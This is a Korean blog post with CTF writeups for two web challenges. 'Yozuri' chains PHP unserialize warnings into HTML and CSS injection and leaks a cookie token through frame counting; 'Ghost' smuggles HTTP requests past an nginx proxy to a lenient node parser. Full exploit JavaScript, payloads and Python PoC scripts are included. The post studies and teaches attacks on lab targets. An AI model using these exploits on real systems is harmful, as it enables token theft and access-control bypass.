이번 주말에 일본에서 하는 sknb CTF를 개인적으로 가볍게 뛰었는데 오랜만에 writeup작성이 하고싶어져서 작성하려 한다.
Yozuri
요 문제는 아래 두 레퍼런스 취약점을 합친 문제이다.
https://qiita.com/singetu0096/items/65621ba135544e262518
R3CTF 2025 「Silent Profit」 upsolve&writeup - Qiita
こんにちは新月です。 2025/07/05 11:00 ~ 2025/07/07 11:00(JST)に開催されたR3CTFにてsknbで出て73位でした。 自分はOSINT問を1問解いた以外は、ひたすらこの問題に沼っていました。 いつもなら解けるレ
qiita.com
https://blog.arkark.dev/2025/09/08/asisctf-quals
Forcing Quirks Mode with PHP Warnings + CSS Exfiltration without Network Requests | XS-Spin Blog
Author writeup for my challenge `pure-leak` in ASIS CTF Quals 2025.
blog.arkark.dev
사실 ark 레퍼런스는 너무 유명하기도 하고 실제로 asis ctf 참가했어서 알고있었는데 위에 레퍼런스 내용은 몰랐어서 대회때 풀지 못했다;;
일단 해당 문제 코드를 설명하자면 TOKEN을 따오면 flag를 얻어올 수 있다. 문제 서버는 web과 bot 두개로 나뉘어져 있고 코드는 아래와 같다.
web/index.php
<!DOCTYPE html>
<html>
<body>
<!--- Aomiya Yozuri is very cute cat (/*・ω・)/ -->
<h1>Yozuri</h1>
<h3>Source</h3>
<pre><?php echo htmlspecialchars(file_get_contents(__FILE__)); ?></pre>
<h3>Content</h3>
<?php
if (isset($_GET["data"])) {
$data = $_GET["data"];
if (!is_string($data) | strlen($data) > 4096) {
echo "Invalid data.";
}
else {
unserialize($data);
}
} else {
echo "No data provided.";
}?>
<h3>Token</h3>
<?php echo htmlspecialchars($_COOKIE["TOKEN"] ?? "TOKEN_0123456789abcdef"); ?>
<h3>Usage</h3>
<a href="/?data=your_serialized_data">/?data=your_serialized_data</a>
</body>
</html>
bot/index.js
import express from "express";
import rateLimit from "express-rate-limit";
import crypto from "node:crypto";
import { visit, challenge, flag } from "./conf.js";
if (!flag.validate(flag.value)) {
console.log(`Invalid flag: ${flag.value}`);
process.exit(1);
}
const app = express();
app.use(express.json());
app.set("view engine", "ejs");
app.get("/", (req, res) => {
res.render("index", {
name: challenge.name,
appUrl: challenge.appUrl.origin,
});
});
app.use(
"/api",
rateLimit({
windowMs: 60_000,
max: challenge.rateLimit,
})
);
const tokens = new Set();
app.post("/api/report", async (req, res) => {
const { url } = req.body;
if (
typeof url !== "string" ||
(!url.startsWith("http://") && !url.startsWith("https://"))
) {
return res.status(400).send("Invalid url");
}
const token = "TOKEN_" + crypto.randomBytes(8).toString("hex");
console.log(`Generated token: ${token}`);
tokens.add(token);
setTimeout(() => {
tokens.delete(token); // expired
}, 60_000);
try {
await visit(url, token);
res.sendStatus(200);
} catch (e) {
console.error(e);
res.status(500).send("Something went wrong");
}
});
app.post("/api/verify", (req, res) => {
const { token } = req.body;
if (tokens.has(token)) {
res.send(flag.value); // 🚩
} else {
res.status(404).send("Not found");
}
});
app.listen(1337);
bot/conf.js
import puppeteer from "puppeteer";
export const challenge = {
name: "Yozuri",
appUrl: new URL("http://web:3000"),
rateLimit: 4, // max requests per 1 minute
};
export const flag = {
value: process.env.FLAG,
validate: (flag) => flag && /^sknb{.+}$/.test(flag),
};
const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
export const visit = async (url, token) => {
console.log(`start: ${url}`);
const browser = await puppeteer.launch({
headless: true,
executablePath: "/usr/bin/chromium",
args: [
"--no-sandbox",
"--disable-dev-shm-usage",
"--js-flags=--noexpose_wasm,--jitless",
"--disable-features=HttpsFirstBalancedModeAutoEnable",
],
});
const context = await browser.createBrowserContext();
try {
await context.setCookie({
name: "TOKEN",
value: token,
domain: challenge.appUrl.hostname,
path: "/",
});
const page = await context.newPage();
await page.goto(url, { timeout: 3_000 });
await sleep(20_000);
await page.close();
} catch (e) {
console.error(e);
}
await context.close();
await browser.close();
console.log(`end: ${url}`);
};
먼저, web서버에 index.php에서 data를 unserialize를 하고 있는데 사실상 문제만 보면 html injection을 해야 할 것 같다. (RCE는 가젯이 없어서 불가)
그러나 html을 삽입할 방법이 없었는데 위 레퍼런스1을 사용하면 가능했다.
https://qiita.com/singetu0096/items/65621ba135544e262518
R3CTF 2025 「Silent Profit」 upsolve&writeup - Qiita
こんにちは新月です。 2025/07/05 11:00 ~ 2025/07/07 11:00(JST)に開催されたR3CTFにてsknbで出て73位でした。 自分はOSINT問を1問解いた以外は、ひたすらこの問題に沼っていました。 いつもなら解けるレ
qiita.com
여기선 간단히 설명하자면 대충 PHP error를 활용하는 것인데 기존 클래스에 새로운 프로퍼티를 추가할때 동적 프로퍼티 관련 error가 발생하는데 이때, zend_error 함수를 사용하고 해당 error 함수에서는 에러구문이 html 이스케이프되지 않고 삽입된다.
따라서, 아래와 같은 구문을 넣으면 html injection이 가능하다.
O:8:"PhpToken":1:{s:28:"<img src=x onerror=alert(1)>";}

html injection이 가능하니 xss를 하면 될 것 같지만 entrypoint.sh파일을 보면 caddy 설정에 CSP를 강력하게 거는 걸 볼 수 있다.
cat > /tmp/Caddyfile << EOF
:3000 {
header {
defer
Content-Security-Policy "script-src 'none'; default-src 'self'; base-uri 'none'"
}
reverse_proxy 127.0.0.1:9000 127.0.0.1:9001 127.0.0.1:9002 127.0.0.1:9003 {
replace_status 200
}
}
EOF
그럼 남은 방법은 CSS Injection 방법 뿐인데 여기서 ark의 블로그 방식을 똑같이 적용하면 해결 가능하다.
https://blog.arkark.dev/2025/09/08/asisctf-quals
Forcing Quirks Mode with PHP Warnings + CSS Exfiltration without Network Requests | XS-Spin Blog
Author writeup for my challenge `pure-leak` in ASIS CTF Quals 2025.
blog.arkark.dev
<link href="/not-found.txt?{}body{background:limegreen}" rel=stylesheet> 이 구문을 html injection 해주면 되는데 위 레퍼런스 설명처럼 쿼크 모드로 바꿔야 되기 때문에 쿼리 1000개를 추가해서 보내면 된다.
import urllib.parse
link_payload = "<link href=\"/not-found.txt?{}body{background:limegreen}\" rel=stylesheet>"
payload = f"O:8:\"PhpToken\":1:{{s:{len(link_payload)}:\"{link_payload}\";}}"
print(urllib.parse.quote(payload)+f"?a{'&a'*1000}")
위 페이로드를 data쿼리에 넣으면 된다.

이제 css injection이 성공했으니 유출만 하면 되는데 문제는 csp의 default-src가 'self'기 때문에 외부 서버로의 요청이 불가하다.
뭐 css dos를 사용해도 되지만 여기선 embed태그를 통한 xsleak을 사용했다.
embed(object) 태그가 있을땐 window.length가 1늘어나지만 만약 embed 태그의 css속성이 display:none이라면 window.length가 늘어나지 않는다.
이를 활용해서 cross-site에서 window.length를 관찰하면 된다.
1. 그냥 embed 태그일 경우


2. embed 태그가 display:none인 경우


풀 익스는 아래와 같다.
<body>
<script type="module">
const BASE_URL = "http://web:3000";
// const BASE_URL = "http://localhost:3000";
const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
const TOKEN_SIZE = 16;
let known = "TOKEN_";
const win = open("");
const CHARS = [..."0123456789abcdef"];
const match = async (pattern) => {
win.location = "about:blank";
while (true) {
try {
win.origin;
break;
} catch {
await sleep(3);
}
}
const content = `
<link href="/not-found.txt?{}div:has(input:valid){display:none}" rel=stylesheet>
<div>
<embed code="x" type=text/html>
<input pattern=".+${pattern}.+" value="
`;
const payload = `O:8:\"PhpToken\":1:{s:${content.length}:\"${content}\";}`
const url = `${BASE_URL}?data=${encodeURIComponent(
content
)}${"&a".repeat(1000)}`; // PHP warnings
win.location = url;
while (true) {
try {
win.origin;
await sleep(3);
} catch {
break;
}
}
await sleep(100);
return win.length === 0; // frame counting
};
for (let i = 0; i < TOKEN_SIZE; i++) {
// binary search
let left = 0;
let right = CHARS.length;
while (right - left > 1) {
const mid = (right + left) >> 1;
const p = "(" + CHARS.slice(left, mid).join("|") + ")";
if (await match(known + p)) {
right = mid;
} else {
left = mid;
}
}
known += CHARS[right - 1];
navigator.sendBeacon("/debug", known);
}
navigator.sendBeacon("/token", known);
</script>
</body>
Ghost
사실 간단한거여서 writeup을 작성하지 않으려다가 HRS를 오랜만에 만나서 공부할겸 작성해 본다.
문제는 총 두가지 서버가 돈다
첫번째는 node app서버, 두번째는 proxy nginx 서버이다.
node app서버에는 proxy nginx서버를 사용해서 접근이 가능하다.
services:
app:
build: ./app
expose:
- "8080"
environment:
- FLAG=sknb{dummy}
restart: unless-stopped
proxy:
image: nginx:1.17.10
ports:
- "8080:80"
volumes:
- ./proxy/nginx.conf:/etc/nginx/nginx.conf:ro
restart: unless-stopped
depends_on:
- app
server.js를 보면은 /flag요청에서 x-from-proxy헤더가 붙지 않을때 얻을 수 있다.
const http = require('http');
const fs = require('fs');
const path = require('path');
const FLAG = process.env.FLAG || 'sknb{dummy}';
http.createServer((req, res) => {
console.log(`${req.method} ${req.url}`);
switch (req.url) {
case '/flag':
if (!req.headers['x-from-proxy']) {
res.end(FLAG);
} else {
res.writeHead(403, { 'Content-Type': 'text/plain' });
res.end('Forbidden');
}
return;
case '/':
res.end('Hello');
return;
default:
res.writeHead(404, { 'Content-Type': 'text/plain' });
res.end('Not Found');
return;
}
}).listen(8080, () => console.log('Backend on :8080'));
그러나 nginx 프록시를 통한 요청에는 무조건 x-from-proxy헤더가 붙게 된다.
이때, node app Docekrfile을 확인해주었다.
FROM node:24-slim
WORKDIR /app
COPY server.js .
EXPOSE 8080
CMD ["node", "--insecure-http-parser", "server.js"]
node를 --insecure-http-parser옵션을 붙여서 실행시키고 있다.
https://nodejs.org/docs/latest-v12.x/api/cli.html#cli_insecure_http_parser
Command line options | Node.js v12.22.12 Documentation
Command line options# Node.js comes with a variety of CLI options. These options expose built-in debugging, multiple ways to execute scripts, and other helpful runtime options. To view this documentation as a manual page in a terminal, run man node. Synops
nodejs.org
해당 레퍼런스에 따르면 해당 옵션은 HRS 공격에 취약하다고 되어있다.

결론적으로 저 옵션을 사용함으로써, node는 Transfer-encoding 헤더를 알아먹고 nginx는 알아먹지 못한다는 점에서, CL.TE 취약점이 발생한다. (Proxy 역할을 하는 nginx는 Content Lentgh로, Backend 역할을 하는 node는 Transfer-Encoding으로 요청 수행)
그러므로 아래와 같은 요청 수행 시, flag를 획득할 수 있을 것이다.
POST / HTTP/1.1
Host: 34.171.47.209:8080
Connection: keep-alive
Content-Length: 55
Transfer-Encoding: chunked
0
GET /flag HTTP/1.1
Host: 34.171.47.209:8080

이를 poc코드로 작성한 것은 아래와 같다.
[poc1]
import socket
HOST = '127.0.0.1'
PORT = 8080
def exploit():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
smuggled_request = (
"GET /flag HTTP/1.1\r\n"
"Host: 127.0.0.1\r\n"
"\r\n"
)
payload_body = "0\r\n\r\n" + smuggled_request
content_length = len(payload_body)
wrapper_headers = (
"POST / HTTP/1.1\r\n"
"Host: 127.0.0.1\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
f"Content-Length: {content_length}\r\n"
"Transfer-Encoding : chunked\r\n"
"\r\n"
)
final_payload = wrapper_headers + payload_body
print(f"[+] Sending payload...\n---\n{final_payload}\n---")
s.sendall(final_payload.encode())
while True:
data = s.recv(4096)
if not data:
break
print(data.decode(errors='ignore'))
if "sknb{" in data.decode(errors='ignore'):
print("\n[+] FOUND FLAG!")
break
s.close()
if __name__ == "__main__":
exploit()
[poc2] => writer's Writeup
#!/usr/bin/env python3
import sys, socket, textwrap, time
host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
port = int(sys.argv[2]) if len(sys.argv) > 2 else 8080
payload1 = textwrap.dedent(f"""\
POST / HTTP/1.1
Host: vuln
Content-Length: 39
Transfer-Encoding : chunked
0
GET /flag HTTP/1.1
Host: vuln
""").replace("\n", "\r\n").encode()
payload2 = textwrap.dedent(f"""\
GET / HTTP/1.1
Host: vuln
Connection: close
""").replace("\n", "\r\n").encode()
while True:
with socket.create_connection((host, port)) as s:
s.sendall(payload1) # Request Smuggling
s.sendall(payload2) # Get Poisoned Response
resp = b""
while True:
data = s.recv(1024)
if not data:
break
resp += data
decoded = resp.decode("latin1", errors="replace")
if "sknb{" in decoded:
flag = decoded.split("sknb{")[1].split("}")[0]
print(f"sknb{{{flag}}}")
break
time.sleep(0.1)
블로그 쓰고나니 HTTP/1.1 must be die 글이 읽고싶어졌다. 또 읽으러 가야지 GG
'Web Hacking > WriteUp' 카테고리의 다른 글
| [Osu! gaming CTF] beatmap list Writeup (0) | 2025.10.28 |
|---|---|
| 2025 CODEGATE CTF Quals web Writeup (0) | 2025.03.31 |
| 2025 SSU CTF Web Writeup (0) | 2025.01.27 |
| LG U+ Security Hackathon: Growth Security 2024 후기 + Writeup (1) | 2024.12.07 |
| SECCON CTF 13 Quals 2024 Web Writeup (1) | 2024.11.26 |